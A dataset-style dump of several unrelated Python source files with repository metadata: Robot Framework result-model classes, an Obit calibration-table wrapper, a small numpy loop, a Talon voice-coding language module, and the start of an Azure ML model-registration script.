'starttime', 'endtime'] body_class = Body fixture_class = Keyword def __init__(self, name='', doc='', tags=None, timeout=None, status='FAIL', message='', starttime=None, endtime=None, parent=None): super().__init__(name, doc, tags, timeout, parent) #: Status as a string ``PASS`` or ``FAIL``. See also :attr:`passed`. self.status = status #: Test message. Typically a failure message but can be set also when #: test passes. self.message = message #: Test case execution start time in format ``%Y%m%d %H:%M:%S.%f``. self.starttime = starttime #: Test case execution end time in format ``%Y%m%d %H:%M:%S.%f``. self.endtime = endtime @property def not_run(self): return False @property def critical(self): warnings.warn("'TestCase.critical' is deprecated and always returns 'True'.") return True class TestSuite(model.TestSuite, StatusMixin): """Represents results of a single test suite. See the base class for documentation of attributes not documented here. """ __slots__ = ['message', 'starttime', 'endtime'] test_class = TestCase fixture_class = Keyword def __init__(self, name='', doc='', metadata=None, source=None, message='', starttime=None, endtime=None, rpa=False, parent=None): super().__init__(name, doc, metadata, source, rpa, parent) #: Possible suite setup or teardown error message. self.message = message #: Suite execution start time in format ``%Y%m%d %H:%M:%S.%f``. self.starttime = starttime #: Suite execution end time in format ``%Y%m%d %H:%M:%S.%f``. self.endtime = endtime @property def passed(self): """``True`` if no test has failed but some have passed, ``False`` otherwise.""" return self.status == self.PASS @property def failed(self): """``True`` if any test has failed, ``False`` otherwise.""" return self.status == self.FAIL @property def skipped(self): """``True`` if there are no passed or failed tests, ``False`` otherwise.""" return self.status == self.SKIP @property def not_run(self): return False @property def status(self): """'PASS', 'FAIL' or 'SKIP' depending on test statuses. - If any test has failed, status is 'FAIL'. - If no test has failed but at least some test has passed, status is 'PASS'. - If there are no failed or passed tests, status is 'SKIP'. This covers both the case when all tests have been skipped and when there are no tests. """ stats = self.statistics # Local variable avoids recreating stats. if stats.failed: return self.FAIL if stats.passed: return self.PASS return self.SKIP @property def statistics(self): """Suite statistics as a :class:`~robot.model.totalstatistics.TotalStatistics` object. Recreated every time this property is accessed, so saving the results to a variable and inspecting it is often a good idea:: stats = suite.statistics print(stats.failed) print(stats.total) print(stats.message) """ return TotalStatisticsBuilder(self, self.rpa).stats @property def full_message(self): """Combination of :attr:`message` and :attr:`stat_message`.""" if not self.message: return self.stat_message return '%s\n\n%s' % (self.message, self.stat_message) @property def stat_message(self): """String representation of the :attr:`statistics`.""" return self.statistics.message @property def elapsedtime(self): """Total execution time in milliseconds.""" if self.starttime and self.endtime: return get_elapsed_time(self.starttime, self.endtime) return sum(child.elapsedtime for child in chain(self.suites, self.tests, (self.setup, self.teardown))) def remove_keywords(self, how): """Remove keywords based on the given condition. :param how: What approach to use when removing keywords. Either ``ALL``, ``PASSED``, ``FOR``, ``WUKS``, or ``NAME:<pattern>``. For more information about the possible values see the documentation of the ``--removekeywords`` command line option. """ self.visit(KeywordRemover(how)) def filter_messages(self, log_level='TRACE'): """Remove log messages below the specified ``log_level``.""" self.visit(MessageFilter(log_level)) def configure(self, **options): """A shortcut to configure a suite using one method call. Can only be used with the root test suite. :param options: Passed to :class:`~robot.result.configurer.SuiteConfigurer` that will then set suite attributes, call :meth:`filter`, etc. as needed. Example:: suite.configure(remove_keywords='PASSED', doc='Smoke test results.') Not to be confused with :meth:`config` method that suites, tests, and keywords have to make it possible to set multiple attributes in one call. """ model.TestSuite.configure(self) # Parent validates call is allowed. self.visit(SuiteConfigurer(**options)) def handle_suite_teardown_failures(self): """Internal usage only.""" self.visit(SuiteTeardownFailureHandler()) def suite_teardown_failed(self, error): """Internal usage only.""" self.visit(SuiteTeardownFailed(error)) def suite_teardown_skipped(self, message): """Internal usage only.""" self.visit(SuiteTeardownFailed(message, skipped=True))

33.660342

116

0.638818

from collections import OrderedDict from itertools import chain import warnings from robot import model from robot.model import BodyItem, Keywords, TotalStatisticsBuilder from robot.utils import get_elapsed_time, setter from .configurer import SuiteConfigurer from .messagefilter import MessageFilter from .modeldeprecation import deprecated, DeprecatedAttributesMixin from .keywordremover import KeywordRemover from .suiteteardownfailed import SuiteTeardownFailed, SuiteTeardownFailureHandler class Body(model.BaseBody): __slots__ = [] class ForIterations(model.BaseBody): for_iteration_class = None __slots__ = [] def create_iteration(self, *args, **kwargs): return self.append(self.for_iteration_class(*args, **kwargs)) @ForIterations.register @Body.register class Message(model.Message): __slots__ = [] class StatusMixin: __slots__ = [] PASS = 'PASS' FAIL = 'FAIL' SKIP = 'SKIP' NOT_RUN = 'NOT RUN' NOT_SET = 'NOT SET' @property def elapsedtime(self): return get_elapsed_time(self.starttime, self.endtime) @property def passed(self): return self.status == self.PASS @passed.setter def passed(self, passed): self.status = self.PASS if passed else self.FAIL @property def failed(self): return self.status == self.FAIL @failed.setter def failed(self, failed): self.status = self.FAIL if failed else self.PASS @property def skipped(self): return self.status == self.SKIP @skipped.setter def skipped(self, skipped): if not skipped: raise ValueError("`skipped` value must be truthy, got '%s'." % skipped) self.status = self.SKIP @property def not_run(self): return self.status == self.NOT_RUN @not_run.setter def not_run(self, not_run): if not not_run: raise ValueError("`not_run` value must be truthy, got '%s'." % not_run) self.status = self.NOT_RUN @ForIterations.register class ForIteration(BodyItem, StatusMixin, DeprecatedAttributesMixin): type = BodyItem.FOR_ITERATION body_class = Body repr_args = ('variables',) __slots__ = ['variables', 'status', 'starttime', 'endtime', 'doc'] def __init__(self, variables=None, status='FAIL', starttime=None, endtime=None, doc='', parent=None): self.variables = variables or OrderedDict() self.parent = parent self.status = status self.starttime = starttime self.endtime = endtime self.doc = doc self.body = None @setter def body(self, body): return self.body_class(self, body) def visit(self, visitor): visitor.visit_for_iteration(self) @property @deprecated def name(self): return ', '.join('%s = %s' % item for item in self.variables.items()) @Body.register class For(model.For, StatusMixin, DeprecatedAttributesMixin): body_class = ForIterations __slots__ = ['status', 'starttime', 'endtime', 'doc'] def __init__(self, variables=(), flavor='IN', values=(), status='FAIL', starttime=None, endtime=None, doc='', parent=None): super().__init__(variables, flavor, values, parent) self.status = status self.starttime = starttime self.endtime = endtime self.doc = doc @property @deprecated def name(self): return '%s %s [ %s ]' % (' | '.join(self.variables), self.flavor, ' | '.join(self.values)) class IfBranch(model.IfBranch, StatusMixin, DeprecatedAttributesMixin): body_class = Body __slots__ = ['status', 'starttime', 'endtime', 'doc'] def __init__(self, type=BodyItem.IF, condition=None, status='FAIL', starttime=None, endtime=None, doc='', parent=None): super().__init__(type, condition, parent) self.status = status self.starttime = starttime self.endtime = endtime self.doc = doc @property @deprecated def name(self): return self.condition @Body.register class If(model.If, StatusMixin, DeprecatedAttributesMixin): branch_class = IfBranch __slots__ = ['status', 'starttime', 'endtime', 'doc'] def __init__(self, status='FAIL', starttime=None, endtime=None, doc='', parent=None): super().__init__(parent) self.status = status self.starttime = starttime self.endtime = endtime self.doc = doc class TryBranch(model.TryBranch, StatusMixin, DeprecatedAttributesMixin): body_class = Body __slots__ = ['status', 'starttime', 'endtime', 'doc'] def __init__(self, type=BodyItem.TRY, patterns=(), variable=None, status='FAIL', starttime=None, endtime=None, doc='', parent=None): super().__init__(type, patterns, variable, parent) self.status = status self.starttime = starttime self.endtime = endtime self.doc = doc @property @deprecated def name(self): patterns = ' | '.join(self.patterns) as_var = f'AS {self.variable}' if self.variable else '' sep = ' ' if patterns and as_var else '' return f'{patterns}{sep}{as_var}' @Body.register class Try(model.Try, StatusMixin, DeprecatedAttributesMixin): branch_class = TryBranch __slots__ = ['status', 'starttime', 'endtime', 'doc'] def __init__(self, status='FAIL', starttime=None, endtime=None, doc='', parent=None): super().__init__(parent) self.status = status self.starttime = starttime self.endtime = endtime self.doc = doc @Body.register class Return(model.Return, StatusMixin, DeprecatedAttributesMixin): __slots__ = ['status', 'starttime', 'endtime'] def __init__(self, values=(), status='FAIL', starttime=None, endtime=None, parent=None): super().__init__(values, parent) self.status = status self.starttime = starttime self.endtime = endtime @property @deprecated def args(self): return self.values @property @deprecated def doc(self): return '' @ForIterations.register @Body.register class Keyword(model.Keyword, StatusMixin): body_class = Body __slots__ = ['kwname', 'libname', 'status', 'starttime', 'endtime', 'message', 'sourcename'] def __init__(self, kwname='', libname='', doc='', args=(), assign=(), tags=(), timeout=None, type=BodyItem.KEYWORD, status='FAIL', starttime=None, endtime=None, parent=None, sourcename=None): super().__init__(None, doc, args, assign, tags, timeout, type, parent) self.kwname = kwname self.libname = libname self.status = status self.starttime = starttime self.endtime = endtime self.message = '' self.sourcename = sourcename self.body = None @setter def body(self, body): return self.body_class(self, body) @property def keywords(self): keywords = self.body.filter(messages=False) if self.teardown: keywords.append(self.teardown) return Keywords(self, keywords) @keywords.setter def keywords(self, keywords): Keywords.raise_deprecation_error() @property def messages(self): return self.body.filter(messages=True) @property def children(self): warnings.warn("'Keyword.children' is deprecated. Use 'Keyword.body' instead.") return list(self.body) @property def name(self): if not self.libname: return self.kwname return '%s.%s' % (self.libname, self.kwname) @name.setter def name(self, name): if name is not None: raise AttributeError("Cannot set 'name' attribute directly. " "Set 'kwname' and 'libname' separately instead.") self.kwname = None self.libname = None class TestCase(model.TestCase, StatusMixin): __slots__ = ['status', 'message', 'starttime', 'endtime'] body_class = Body fixture_class = Keyword def __init__(self, name='', doc='', tags=None, timeout=None, status='FAIL', message='', starttime=None, endtime=None, parent=None): super().__init__(name, doc, tags, timeout, parent) self.status = status self.message = message self.starttime = starttime self.endtime = endtime @property def not_run(self): return False @property def critical(self): warnings.warn("'TestCase.critical' is deprecated and always returns 'True'.") return True class TestSuite(model.TestSuite, StatusMixin): __slots__ = ['message', 'starttime', 'endtime'] test_class = TestCase fixture_class = Keyword def __init__(self, name='', doc='', metadata=None, source=None, message='', starttime=None, endtime=None, rpa=False, parent=None): super().__init__(name, doc, metadata, source, rpa, parent) self.message = message self.starttime = starttime self.endtime = endtime @property def passed(self): return self.status == self.PASS @property def failed(self): return self.status == self.FAIL @property def skipped(self): return self.status == self.SKIP @property def not_run(self): return False @property def status(self): stats = self.statistics if stats.failed: return self.FAIL if stats.passed: return self.PASS return self.SKIP @property def statistics(self): return TotalStatisticsBuilder(self, self.rpa).stats @property def full_message(self): if not self.message: return self.stat_message return '%s\n\n%s' % (self.message, self.stat_message) @property def stat_message(self): return self.statistics.message @property def elapsedtime(self): if self.starttime and self.endtime: return get_elapsed_time(self.starttime, self.endtime) return sum(child.elapsedtime for child in chain(self.suites, self.tests, (self.setup, self.teardown))) def remove_keywords(self, how): self.visit(KeywordRemover(how)) def filter_messages(self, log_level='TRACE'): self.visit(MessageFilter(log_level)) def configure(self, **options): model.TestSuite.configure(self) self.visit(SuiteConfigurer(**options)) def handle_suite_teardown_failures(self): self.visit(SuiteTeardownFailureHandler()) def suite_teardown_failed(self, error): self.visit(SuiteTeardownFailed(error)) def suite_teardown_skipped(self, message): self.visit(SuiteTeardownFailed(message, skipped=True))

true

f7f3742921a1a4d8e91a398724ce81244fe41472

2,687

py

Python

ObitSystem/ObitSD/python/OTFSoln2Cal.py

sarrvesh/Obit

e4ce6029e9beb2a8c0316ee81ea710b66b2b7986

[ "Linux-OpenIB" ]

5

2019-08-26T06:53:08.000Z

2020-10-20T01:08:59.000Z

ObitSystem/ObitSD/python/OTFSoln2Cal.py

sarrvesh/Obit

e4ce6029e9beb2a8c0316ee81ea710b66b2b7986

[ "Linux-OpenIB" ]

null

ObitSystem/ObitSD/python/OTFSoln2Cal.py

sarrvesh/Obit

e4ce6029e9beb2a8c0316ee81ea710b66b2b7986

[ "Linux-OpenIB" ]

8

2017-08-29T15:12:32.000Z

2022-03-31T12:16:08.000Z

# $Id$ #----------------------------------------------------------------------- # Copyright (C) 2004-2013 # Associated Universities, Inc. Washington DC, USA. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of # the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public # License along with this program; if not, write to the Free # Software Foundation, Inc., 675 Massachusetts Ave, Cambridge, # MA 02139, USA. # # Correspondence concerning this software should be addressed as follows: # Internet email: bcotton@nrao.edu. # Postal address: William Cotton # National Radio Astronomy Observatory # 520 Edgemont Road # Charlottesville, VA 22903-2475 USA #----------------------------------------------------------------------- # Python ObitOTFSoln2Cal utilities import Obit, OTF, OErr, Table def POTFSoln2Cal(inOTF, outOTF, err): """ Apply a Soln table to a Cal table and write a new Cal table Calibration parameters are on the inOTF info member. If an input Cal table is specified then apply Solutions in this routine, if no input Cal table, then copy the Soln table to a new Cal table in ObitOTFSolnCopyCal. "SOLNUSE" int scalar Input Solution table version "CALIN" int scalar Input Cal table version iff <0 then no input Cal table, copy Soln records to output. "CALOUT" int scalar) Output Calibration table version returns updated OTFCal table inOTF = Python Obit OTF from which the solution table is appended outOTF = Python Obit OTF on which the calibration tables reside err = Python Obit Error/message stack """ ################################################################ # Checks if not OTF.PIsA(inOTF): raise TypeError,"inOTF MUST be a Python Obit OTF" if not OTF.PIsA(outOTF): raise TypeError,"outOTF MUST be a Python Obit OTF" if not OErr.OErrIsA(err): raise TypeError,"err MUST be a Python ObitErr" # out = Table.Table(" ") if err.isErr: # existing error? return out out.me = Obit.OTFSoln2Cal(inOTF.me, outOTF.me, err.me) return out # end POTFSoln2Cal

40.712121

76

0.631932

import Obit, OTF, OErr, Table def POTFSoln2Cal(inOTF, outOTF, err): """ Apply a Soln table to a Cal table and write a new Cal table Calibration parameters are on the inOTF info member. If an input Cal table is specified then apply Solutions in this routine, if no input Cal table, then copy the Soln table to a new Cal table in ObitOTFSolnCopyCal. "SOLNUSE" int scalar Input Solution table version "CALIN" int scalar Input Cal table version iff <0 then no input Cal table, copy Soln records to output. "CALOUT" int scalar) Output Calibration table version returns updated OTFCal table inOTF = Python Obit OTF from which the solution table is appended outOTF = Python Obit OTF on which the calibration tables reside err = Python Obit Error/message stack """

false

true

f7f374d86bf9178d17ca8bbe5bfe63526ad2de8f

75

py

Python

tests/python_output/output_sample_8.py

aeroshev/CMP

f4366972dfd752833094920728e4ce11ee58feae

[ "MIT" ]

null

tests/python_output/output_sample_8.py

aeroshev/CMP

f4366972dfd752833094920728e4ce11ee58feae

[ "MIT" ]

null

tests/python_output/output_sample_8.py

aeroshev/CMP

f4366972dfd752833094920728e4ce11ee58feae

[ "MIT" ]

null

import numpy as np n = 10 f = n while n > 1: n = n - 1 f = f * n

8.333333

18

0.44

import numpy as np n = 10 f = n while n > 1: n = n - 1 f = f * n

true

f7f375b025da2e329822aa67a7676a6dff90221d

9,281

py

Python

lang/python/python.py

joshpearce/knausj_talon

44c49806c6e53b2e5fe90fc24fd06a1fc5125883

[ "MIT" ]

3

2020-04-07T10:44:31.000Z

2022-01-30T17:04:14.000Z

lang/python/python.py

joshpearce/knausj_talon

44c49806c6e53b2e5fe90fc24fd06a1fc5125883

[ "MIT" ]

4

2022-01-30T17:48:02.000Z

2022-02-13T19:50:45.000Z

lang/python/python.py

joshpearce/knausj_talon

44c49806c6e53b2e5fe90fc24fd06a1fc5125883

[ "MIT" ]

1

2021-05-26T14:43:11.000Z

import re from talon import Context, Module, actions, settings mod = Module() ctx = Context() ctx.matches = r""" mode: user.python mode: user.auto_lang and code.language: python """ ctx.lists["user.code_functions"] = { "enumerate": "enumerate", "integer": "int", "length": "len", "list": "list", "print": "print", "range": "range", "set": "set", "split": "split", "string": "str", "update": "update", } """a set of fields used in python docstrings that will follow the reStructuredText format""" docstring_fields = { "class": ":class:", "function": ":func:", "parameter": ":param:", "raise": ":raise:", "returns": ":return:", "type": ":type:", "return type": ":rtype:", # these are sphinx-specific "see also": ".. seealso:: ", "notes": ".. notes:: ", "warning": ".. warning:: ", "todo": ".. todo:: ", } mod.list("python_docstring_fields", desc="python docstring fields") ctx.lists["user.python_docstring_fields"] = docstring_fields type_list = { "boolean": "bool", "integer": "int", "string": "str", "none": "None", "dick": "Dict", "float": "float", "any": "Any", "tuple": "Tuple", "union": "UnionAny", "iterable": "Iterable", "vector": "Vector", "bytes": "bytes", "sequence": "Sequence", "callable": "Callable", "list": "List", "no return": "NoReturn", } mod.list("python_type_list", desc="python types") ctx.lists["user.python_type_list"] = type_list exception_list = [ "BaseException", "SystemExit", "KeyboardInterrupt", "GeneratorExit", "Exception", "StopIteration", "StopAsyncIteration", "ArithmeticError", "FloatingPointError", "OverflowError", "ZeroDivisionError", "AssertionError", "AttributeError", "BufferError", "EOFError", "ImportError", "ModuleNotFoundError", "LookupError", "IndexError", "KeyError", "MemoryError", "NameError", "UnboundLocalError", "OSError", "BlockingIOError", "ChildProcessError", "ConnectionError", "BrokenPipeError", "ConnectionAbortedError", "ConnectionRefusedError", "ConnectionResetError", "FileExistsError", "FileNotFoundError", "InterruptedError", "IsADirectoryError", "NotADirectoryError", "PermissionError", "ProcessLookupError", "TimeoutError", "ReferenceError", "RuntimeError", "NotImplementedError", "RecursionError", "SyntaxError", "IndentationError", "TabError", "SystemError", "TypeError", "ValueError", "UnicodeError", "UnicodeDecodeError", "UnicodeEncodeError", "UnicodeTranslateError", "Warning", "DeprecationWarning", "PendingDeprecationWarning", "RuntimeWarning", "SyntaxWarning", "UserWarning", "FutureWarning", "ImportWarning", "UnicodeWarning", "BytesWarning", "ResourceWarning", ] mod.list("python_exception", desc="python exceptions") ctx.lists["user.python_exception"] = { " ".join(re.findall("[A-Z][^A-Z]*", exception)).lower(): exception for exception in exception_list } @ctx.action_class("user") class UserActions: def code_operator_indirection(): actions.auto_insert('') def code_operator_address_of(): actions.auto_insert('') def code_operator_structure_dereference(): actions.auto_insert('') def code_operator_lambda(): actions.auto_insert('') def code_operator_subscript(): actions.insert('[]') actions.key('left') def code_operator_assignment(): actions.auto_insert(' = ') def code_operator_subtraction(): actions.auto_insert(' - ') def code_operator_subtraction_assignment(): actions.auto_insert(' -= ') def code_operator_addition(): actions.auto_insert(' + ') def code_operator_addition_assignment(): actions.auto_insert(' += ') def code_operator_multiplication(): actions.auto_insert(' * ') def code_operator_multiplication_assignment(): actions.auto_insert(' *= ') def code_operator_exponent(): actions.auto_insert(' ** ') def code_operator_division(): actions.auto_insert(' / ') def code_operator_division_assignment(): actions.auto_insert(' /= ') def code_operator_modulo(): actions.auto_insert(' % ') def code_operator_modulo_assignment(): actions.auto_insert(' %= ') def code_operator_equal(): actions.auto_insert(' == ') def code_operator_not_equal(): actions.auto_insert(' != ') def code_operator_greater_than(): actions.auto_insert(' > ') def code_operator_greater_than_or_equal_to(): actions.auto_insert(' >= ') def code_operator_less_than(): actions.auto_insert(' < ') def code_operator_less_than_or_equal_to(): actions.auto_insert(' <= ') def code_operator_and(): actions.auto_insert(' and ') def code_operator_or(): actions.auto_insert(' or ') def code_operator_bitwise_and(): actions.auto_insert(' & ') def code_operator_bitwise_and_assignment(): actions.auto_insert(' &= ') def code_operator_bitwise_or(): actions.auto_insert(' | ') def code_operator_bitwise_or_assignment(): actions.auto_insert(' |= ') def code_operator_bitwise_exclusive_or(): actions.auto_insert(' ^ ') def code_operator_bitwise_exclusive_or_assignment(): actions.auto_insert(' ^= ') def code_operator_bitwise_left_shift(): actions.auto_insert(' << ') def code_operator_bitwise_left_shift_assignment(): actions.auto_insert(' <<= ') def code_operator_bitwise_right_shift(): actions.auto_insert(' >> ') def code_operator_bitwise_right_shift_assignment(): actions.auto_insert(' >>= ') def code_self(): actions.auto_insert('self') def code_null(): actions.auto_insert('None') def code_is_null(): actions.auto_insert(' is None') def code_is_not_null(): actions.auto_insert(' is not None') def code_state_if(): actions.insert('if :') actions.key('left') def code_state_else_if(): actions.insert('elif :') actions.key('left') def code_state_else(): actions.insert('else:') actions.key('enter') def code_state_switch(): actions.insert('switch ()') actions.edit.left() def code_state_case(): actions.insert('case \nbreak;') actions.edit.up() def code_state_for(): actions.auto_insert('for ') def code_state_for_each(): actions.insert('for in ') actions.key('left') actions.edit.word_left() actions.key('space') actions.edit.left() def code_state_while(): actions.insert('while :') actions.edit.left() def code_type_class(): actions.auto_insert('class ') def code_import(): actions.auto_insert('import ') def code_from_import(): actions.insert('from import ') actions.key('left') actions.edit.word_left() actions.key('space') actions.edit.left() def code_comment(): actions.auto_insert('# ') def code_state_return(): actions.insert('return ') def code_true(): actions.auto_insert('True') def code_false(): actions.auto_insert('False') def code_document_string(): actions.user.insert_cursor('"""[|]"""') def code_insert_function(text: str, selection: str): if selection: text = text + "({})".format(selection) else: text = text + "()" actions.user.paste(text) actions.edit.left() def code_default_function(text: str): actions.user.code_public_function(text) def code_private_function(text: str): """Inserts private function declaration""" result = "def _{}():".format( actions.user.formatted_text( text, settings.get("user.code_private_function_formatter") ) ) actions.user.paste(result) actions.edit.left() actions.edit.left() def code_public_function(text: str): result = "def {}():".format( actions.user.formatted_text( text, settings.get("user.code_public_function_formatter") ) ) actions.user.paste(result) actions.edit.left() actions.edit.left() @mod.action_class class module_actions: # TODO this could go somewhere else def insert_cursor(text: str): """Insert a string. Leave the cursor wherever [|] is in the text""" if "[|]" in text: end_pos = text.find("[|]") s = text.replace("[|]", "") actions.insert(s) actions.key(f"left:{len(s) - end_pos}") else: actions.insert(text)

34.630597

92

0.591962

import re from talon import Context, Module, actions, settings mod = Module() ctx = Context() ctx.matches = r""" mode: user.python mode: user.auto_lang and code.language: python """ ctx.lists["user.code_functions"] = { "enumerate": "enumerate", "integer": "int", "length": "len", "list": "list", "print": "print", "range": "range", "set": "set", "split": "split", "string": "str", "update": "update", } docstring_fields = { "class": ":class:", "function": ":func:", "parameter": ":param:", "raise": ":raise:", "returns": ":return:", "type": ":type:", "return type": ":rtype:", "see also": ".. seealso:: ", "notes": ".. notes:: ", "warning": ".. warning:: ", "todo": ".. todo:: ", } mod.list("python_docstring_fields", desc="python docstring fields") ctx.lists["user.python_docstring_fields"] = docstring_fields type_list = { "boolean": "bool", "integer": "int", "string": "str", "none": "None", "dick": "Dict", "float": "float", "any": "Any", "tuple": "Tuple", "union": "UnionAny", "iterable": "Iterable", "vector": "Vector", "bytes": "bytes", "sequence": "Sequence", "callable": "Callable", "list": "List", "no return": "NoReturn", } mod.list("python_type_list", desc="python types") ctx.lists["user.python_type_list"] = type_list exception_list = [ "BaseException", "SystemExit", "KeyboardInterrupt", "GeneratorExit", "Exception", "StopIteration", "StopAsyncIteration", "ArithmeticError", "FloatingPointError", "OverflowError", "ZeroDivisionError", "AssertionError", "AttributeError", "BufferError", "EOFError", "ImportError", "ModuleNotFoundError", "LookupError", "IndexError", "KeyError", "MemoryError", "NameError", "UnboundLocalError", "OSError", "BlockingIOError", "ChildProcessError", "ConnectionError", "BrokenPipeError", "ConnectionAbortedError", "ConnectionRefusedError", "ConnectionResetError", "FileExistsError", "FileNotFoundError", "InterruptedError", "IsADirectoryError", "NotADirectoryError", "PermissionError", "ProcessLookupError", "TimeoutError", "ReferenceError", "RuntimeError", "NotImplementedError", "RecursionError", "SyntaxError", "IndentationError", "TabError", "SystemError", "TypeError", "ValueError", "UnicodeError", "UnicodeDecodeError", "UnicodeEncodeError", "UnicodeTranslateError", "Warning", "DeprecationWarning", "PendingDeprecationWarning", "RuntimeWarning", "SyntaxWarning", "UserWarning", "FutureWarning", "ImportWarning", "UnicodeWarning", "BytesWarning", "ResourceWarning", ] mod.list("python_exception", desc="python exceptions") ctx.lists["user.python_exception"] = { " ".join(re.findall("[A-Z][^A-Z]*", exception)).lower(): exception for exception in exception_list } @ctx.action_class("user") class UserActions: def code_operator_indirection(): actions.auto_insert('') def code_operator_address_of(): actions.auto_insert('') def code_operator_structure_dereference(): actions.auto_insert('') def code_operator_lambda(): actions.auto_insert('') def code_operator_subscript(): actions.insert('[]') actions.key('left') def code_operator_assignment(): actions.auto_insert(' = ') def code_operator_subtraction(): actions.auto_insert(' - ') def code_operator_subtraction_assignment(): actions.auto_insert(' -= ') def code_operator_addition(): actions.auto_insert(' + ') def code_operator_addition_assignment(): actions.auto_insert(' += ') def code_operator_multiplication(): actions.auto_insert(' * ') def code_operator_multiplication_assignment(): actions.auto_insert(' *= ') def code_operator_exponent(): actions.auto_insert(' ** ') def code_operator_division(): actions.auto_insert(' / ') def code_operator_division_assignment(): actions.auto_insert(' /= ') def code_operator_modulo(): actions.auto_insert(' % ') def code_operator_modulo_assignment(): actions.auto_insert(' %= ') def code_operator_equal(): actions.auto_insert(' == ') def code_operator_not_equal(): actions.auto_insert(' != ') def code_operator_greater_than(): actions.auto_insert(' > ') def code_operator_greater_than_or_equal_to(): actions.auto_insert(' >= ') def code_operator_less_than(): actions.auto_insert(' < ') def code_operator_less_than_or_equal_to(): actions.auto_insert(' <= ') def code_operator_and(): actions.auto_insert(' and ') def code_operator_or(): actions.auto_insert(' or ') def code_operator_bitwise_and(): actions.auto_insert(' & ') def code_operator_bitwise_and_assignment(): actions.auto_insert(' &= ') def code_operator_bitwise_or(): actions.auto_insert(' | ') def code_operator_bitwise_or_assignment(): actions.auto_insert(' |= ') def code_operator_bitwise_exclusive_or(): actions.auto_insert(' ^ ') def code_operator_bitwise_exclusive_or_assignment(): actions.auto_insert(' ^= ') def code_operator_bitwise_left_shift(): actions.auto_insert(' << ') def code_operator_bitwise_left_shift_assignment(): actions.auto_insert(' <<= ') def code_operator_bitwise_right_shift(): actions.auto_insert(' >> ') def code_operator_bitwise_right_shift_assignment(): actions.auto_insert(' >>= ') def code_self(): actions.auto_insert('self') def code_null(): actions.auto_insert('None') def code_is_null(): actions.auto_insert(' is None') def code_is_not_null(): actions.auto_insert(' is not None') def code_state_if(): actions.insert('if :') actions.key('left') def code_state_else_if(): actions.insert('elif :') actions.key('left') def code_state_else(): actions.insert('else:') actions.key('enter') def code_state_switch(): actions.insert('switch ()') actions.edit.left() def code_state_case(): actions.insert('case \nbreak;') actions.edit.up() def code_state_for(): actions.auto_insert('for ') def code_state_for_each(): actions.insert('for in ') actions.key('left') actions.edit.word_left() actions.key('space') actions.edit.left() def code_state_while(): actions.insert('while :') actions.edit.left() def code_type_class(): actions.auto_insert('class ') def code_import(): actions.auto_insert('import ') def code_from_import(): actions.insert('from import ') actions.key('left') actions.edit.word_left() actions.key('space') actions.edit.left() def code_comment(): actions.auto_insert('# ') def code_state_return(): actions.insert('return ') def code_true(): actions.auto_insert('True') def code_false(): actions.auto_insert('False') def code_document_string(): actions.user.insert_cursor('"""[|]"""') def code_insert_function(text: str, selection: str): if selection: text = text + "({})".format(selection) else: text = text + "()" actions.user.paste(text) actions.edit.left() def code_default_function(text: str): actions.user.code_public_function(text) def code_private_function(text: str): result = "def _{}():".format( actions.user.formatted_text( text, settings.get("user.code_private_function_formatter") ) ) actions.user.paste(result) actions.edit.left() actions.edit.left() def code_public_function(text: str): result = "def {}():".format( actions.user.formatted_text( text, settings.get("user.code_public_function_formatter") ) ) actions.user.paste(result) actions.edit.left() actions.edit.left() @mod.action_class class module_actions: def insert_cursor(text: str): if "[|]" in text: end_pos = text.find("[|]") s = text.replace("[|]", "") actions.insert(s) actions.key(f"left:{len(s) - end_pos}") else: actions.insert(text)

true

f7f375c64383acfcf58fe37b4b06893b11584f57

6,954

py

Python

team5ml/register/register_model.py

balakreshnan/mlopshack2020

12a40bba5d991a5478df6127eff0f2ab241abae5

[ "MIT" ]

null

team5ml/register/register_model.py

balakreshnan/mlopshack2020

12a40bba5d991a5478df6127eff0f2ab241abae5

[ "MIT" ]

null

team5ml/register/register_model.py

balakreshnan/mlopshack2020

12a40bba5d991a5478df6127eff0f2ab241abae5

[ "MIT" ]

null

""" Copyright (C) Microsoft Corporation. All rights reserved. Microsoft Corporation (“Microsoft”) grants you a nonexclusive, perpetual, royalty-free right to use, copy, and modify the software code provided by us ("Software Code"). You may not sublicense the Software Code or any use of it (except to your affiliates and to vendors to perform work on your behalf) through distribution, network access, service agreement, lease, rental, or otherwise. This license does not purport to express any claim of ownership over data you may have shared with Microsoft in the creation of the Software Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted herein, whether by implication, estoppel or otherwise. THE SOFTWARE CODE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL MICROSOFT OR ITS LICENSORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THE SOFTWARE CODE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ import json import os import sys import argparse import traceback import joblib from azureml.core import Run, Experiment, Workspace, Dataset from azureml.core.model import Model as AMLModel def main(): run = Run.get_context() if (run.id.startswith('OfflineRun')): from dotenv import load_dotenv # For local development, set values in this section load_dotenv() workspace_name = os.environ.get("WORKSPACE_NAME") experiment_name = os.environ.get("EXPERIMENT_NAME") resource_group = os.environ.get("RESOURCE_GROUP") subscription_id = os.environ.get("SUBSCRIPTION_ID") # run_id useful to query previous runs run_id = "bd184a18-2ac8-4951-8e78-e290bef3b012" aml_workspace = Workspace.get( name=workspace_name, subscription_id=subscription_id, resource_group=resource_group ) ws = aml_workspace exp = Experiment(ws, experiment_name) else: ws = run.experiment.workspace exp = run.experiment run_id = 'amlcompute' parser = argparse.ArgumentParser("register") parser.add_argument( "--run_id", type=str, help="Training run ID", ) parser.add_argument( "--model_name", type=str, help="Name of the Model", 